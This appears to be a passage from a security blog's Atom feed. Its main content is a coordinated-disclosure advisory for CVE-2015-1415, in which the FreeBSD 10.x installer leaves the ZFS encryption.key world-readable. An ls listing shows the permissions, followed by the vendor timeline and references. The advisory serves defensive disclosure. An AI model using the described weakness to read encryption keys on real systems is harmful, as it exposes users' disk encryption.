 63tbiOAh2CiioWzwQXhgPUVqCua8Fh+SFqrrwf1j3klZtiNPR8ThUiQC1efE9q2+
 Q8oc4KMpb0Ysf+HuFBAU7mdqNZazZukAOTttDMSProap72D5QkqzRrWEiYk5Lk/9
 R5/rj94iEZ3ZM3gZkFp1HHSKvkfTXdZdwxv4r2bq3URxqmUnj3aZ/ITmqxLEYEgT
 ufjoaGXodffnNJZNyhFpnIMgK6DZvs8/WdH2+zCKsCltru7ou2biBD1m0LIbYli4
 tCUOzgUQ+FlR7KDmUmBWhtVQodKsWdOSnDJKnyjvLueS1YCGBLMuMiNnbtdmYU8Z
 qdFmAEnSysrxWupk+sPZkcxrzI/8eIbON937JrrCzTaE7jNNgTyhW1AwmDqMDpqe
 pWfPogBRZ1LpUSiOC++zFkkayVMVyhOmqDttrRMhCzW7bCuM9dmPBfBTjqiq6luZ
 HRofLYmG7PBtqCwEJi+AMzWydCJgnOEq2d26AK2BoDK2PuBfGG5Rg47HC82lNOsR
 0mejdpCYJXBw30YjMG5O3cH1PjlG5JfVYXsHmaFTfvN9Omz8xJZBY2528e4gNCOS
 SkyGa4CFJ/QF6N+3kgc5AWpjuvAdtfqINBK2OShNdASGHC+Z4Eyj9J+eaXvu8g7J
 k6tQ5BWKb21foIfsrYyT
 =XTn6
 -----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>CVE-2015-1415</title>
        <link href="2015-04-08-cve-2015-1415.html"/>
        <content type="html"><pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

## Advisory Information

Title: FreeBSD 10.x ZFS encryption.key disclosure (CVE-2015-1415)
Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-1415.txt.asc
Date published: 2015-04-07
Vendors contacted: FreeBSD
Release mode: Coordinated release



## Product Description

FreeBSD is a UNIX-like operating system.



## Vulnerability Summary

FreeBSD 10.x installer supports the installation of FreeBSD 10.x  on  an
encrypted ZFS filesystem by default.

When using the encryption system within ZFS during the  installation  of
FreeBSD 10.0 and FreeBSD 10.1, the encryption.key has wrong  permissions
which allow local users to read this file.

Even if the keyfile is passphrase-encrypted, it can present a risk.



## Details

By default, the encryption key file is /boot/encryption.key.

Instead of being 0600, the permissions are 0644:

$ ls -la /boot/encryption.key
- -rw-r--r--  1 root  wheel  4096 Feb 17 15:16 /boot/encryption.key
$

This file is readable by a local user.



## Vendor Response

According to the vendor, a security advisory will be published, describing
the problem and the solution. It concerns:

    - stable/10, 10.1-STABLE
    - releng/10.1, 10.1-RELEASE-p8
    - releng/10.0, 10.0-RELEASE-p18


## Report Timeline

 * Mar 01, 2015: Problem found by Pierre Kim
 * Apr 01, 2015: Vendor is notified of the vulnerability
 * Apr 01, 2015: Vendor confirms report and indicates a fix is  prepared
   but there will be no security advisory format notification because of
   the nature of the problem
 * Apr 02, 2015: Pierre Kim asks a CVE number to the vendor
 * Apr 02, 2015: Vendor indicates to use CVE-2015-1415  and  confirms that a
   signed notification to the mailing lists will be sent.
 * Apr 03, 2015: Pierre Kim contacts FreeBSD about the future notification
 * Apr 04, 2015: Vendor confirms a security advisory will be published
   next week
 * Apr 07, 2015: Vendor publishes a security advisory (FreeBSD-SA-15:08)
 * Apt 07, 2015: This advisory is sent to bugtraq@



## Credit

This vulnerability was found by Pierre Kim (@PierreKimSec).



## References

https://www.freebsd.org/doc/handbook/bsdinstall-partitioning.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1415
https://www.freebsd.org/security/advisories/FreeBSD-SA-15:08.bsdinstall.asc



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCAAGBQJVJF22AAoJEMQ+Dtp9ky28NDgP/iW9YALiZKLPVhnShFEhFO4C
SvSza1s7LJkhtOH8qOGplzTrn8wSV5BNhwzMaIaKpksP5RjoCkynxvAw/OncazPl
tsfHM89m7bQ4puyXF3eb6lMkfaIkxoDAXM5R5DFb2Q+3wg4SDygdM7+BQEdqCXDV
2B+ZNGae2CcsqLq04zjskFgY2bwqNMyX3GbbmUJvVI5IXQIS30e1lVIq8zxcK7u0
lKFlVyp+gdyusenPz0lCqR82Pe1IA3tHuNn2zw3/EudT4VhD789/t/0lEWlSyNg7
uiTCqFpQXnpEnvXEez1gZiDuNccIMXXYv0agB+/mYkkoviQPk5jqCwI5rvs+ppFU
IH0gAafqS/UIl5+/dhDdIVDA4+r4WWLUxJfFkDy4ThCQHZtZMCsBYk3/RNJBPDUW
JiVZWV8LSSHtYfWj7YoiCswuC9FLp6CT9e+/XQUJjpNrwfpeT5KlFOCFUKQXwV6W
5nUJnQhjVfrXVjeRuOvMCInSwG8DWbfyX75QMmJNyV7aPMrS2prRXbOlTLuQUyzP
cJkmToeO4XE4COV+jvtC+c39Booy3r8yp3lfHmz1NXffiv6Ua+11vLamUeYOVPew
r4TmionPpSeAx3ODhKEKGjW+HIkl9sx3WcSnEBl88Aqd3Zv77G3ok4usFz4PvPnb
/hnH/lhpePtv13jyZpXc
=pOPH
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>Annyeong haseyo!</title>
        <link href="2015-04-07-annyeong-haseyo.html"/>
        <content type="html"><p>Annyeong haseyo!</p>
<p>I will use this blog to post fun things about IT security and kimchi.</p></content>
    </entry>
    
</feed>